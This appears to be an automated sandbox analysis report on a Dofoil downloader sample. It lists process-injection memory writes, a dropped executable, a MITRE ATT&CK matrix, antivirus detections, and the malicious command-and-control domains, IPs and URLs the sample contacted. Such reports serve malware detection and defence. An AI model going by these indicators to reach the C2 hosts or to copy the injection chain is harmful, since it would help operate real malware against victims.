Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2750000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 29D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 15B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 660000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1030000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2AF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 3030000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 12F0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 10E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: DD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1180000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 29B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 24C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 9D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 940000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: FF0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: E70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2D90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 12A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1020000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1050000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: FC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 4B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 990000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: B80000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 190000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 9D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1480000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1020000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1120000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 460000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: CA0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: DB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: AD0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 13D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2DC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 930000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: D80000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 28A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 25C0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 790000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 28B0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: C70000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: E00000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 14D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 28E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2BE0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: C60000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: F10000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe base: 1C0000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe base: 1C0000	Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Process created: C:\Windows\SysWOW64\winver.exe winver

Jump to behavior

Source: java.exe, 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2995654368.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000002.2995654368.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1712810121.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000002.3004140037.000001CD41220000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.1712577983.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2977124293.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000003.00000002.2995654368.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1712810121.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000002.3004140037.000001CD41220000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winver.exe, 00000002.00000002.2970934204.0000000000C9C000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: tShell_TrayWnd
Source: explorer.exe, 00000003.00000002.2995654368.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1712810121.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000004.00000002.3004140037.000001CD41220000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\java.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133474217072615071.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Exploitation for Client Execution	11 Registry Run Keys / Startup Folder	512 Process Injection	3 Rootkit	1 Credential API Hooking	111 Security Software Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Masquerading	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	512 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	13 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Hidden Files and Directories	Cached Domain Credentials	111 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
java.exe	89%	ReversingLabs	Win32.Downloader.Dofoil
java.exe	100%	Avira	HEUR/AGEN.1322420
java.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	100%	Avira	HEUR/AGEN.1322420
C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://login.windows.local	0%	URL Reputation	safe
http://spaines.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
https://rafd.https://r.a	0%	Avira URL Cloud	safe
https://powerpoint.office.comxee	0%	Avira URL Cloud	safe
http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://www.ng.com	0%	Avira URL Cloud	safe
https://raka.rms_noco-VK	0%	Avira URL Cloud	safe
https://searchapp.bundleassets.example/desktop/2.html	0%	Avira URL Cloud	safe
http://cmnsgscccrej.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://vcklmnnejwxx.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://excel.office.comcp	0%	Avira URL Cloud	safe
https://activity.windows.comt	0%	Avira URL Cloud	safe
https://xsts.auth.xboxlive.comm	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=wsb	0%	Avira URL Cloud	safe
https://login.windows.local/	0%	Avira URL Cloud	safe
https://assets.activity.windows.comer	0%	Avira URL Cloud	safe
https://assets.activity.windows.coms	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
vcklmnnejwxx.pw	216.218.185.162	true	true	unknown
uyhgqunqkxnx.pw	104.131.68.180	true	true	unknown
spaines.pw	216.218.185.162	true	true	unknown
cmnsgscccrej.pw	216.218.185.162	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://spaines.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://cmnsgscccrej.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://vcklmnnejwxx.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets	svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office365.us/api/v2.0/Users(	SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1715884676.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.com	explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://substrate.office365.us/imageB2/v1.0/users/	SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office.com/M365.Access	SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/news/feed?ocid=winsearch&market=en-us&query=good%20news&apikey=uvobH5fEn1uz1xwZ5	SearchApp.exe, 0000000B.00000000.1824776823.0000024340CDC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office.com/owa	SearchApp.exe, 0000000B.00000000.1888579626.0000024B5549B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/api/v2.0/Users(	SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000003.00000002.3110068499.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1717782304.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schema.skype.com/Mention	SearchApp.exe, 0000000B.00000000.1882247398.0000024B54FDE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 00000003.00000002.3110068499.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1717782304.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1801470015.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2985059501.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.live.com/owa	SearchApp.exe, 0000000B.00000000.1836526341.0000024B420F9000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/finance?OCID=WSB_TL_FN&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1884964111.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000005.00000000.1792057093.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2991250120.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://outlook.com	StartMenuExperienceHost.exe, 00000009.00000000.1801563347.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2989471561.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com	SearchApp.exe, 0000000B.00000000.1887670634.0000024B5542F000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1888726531.0000024B554A2000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/	svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
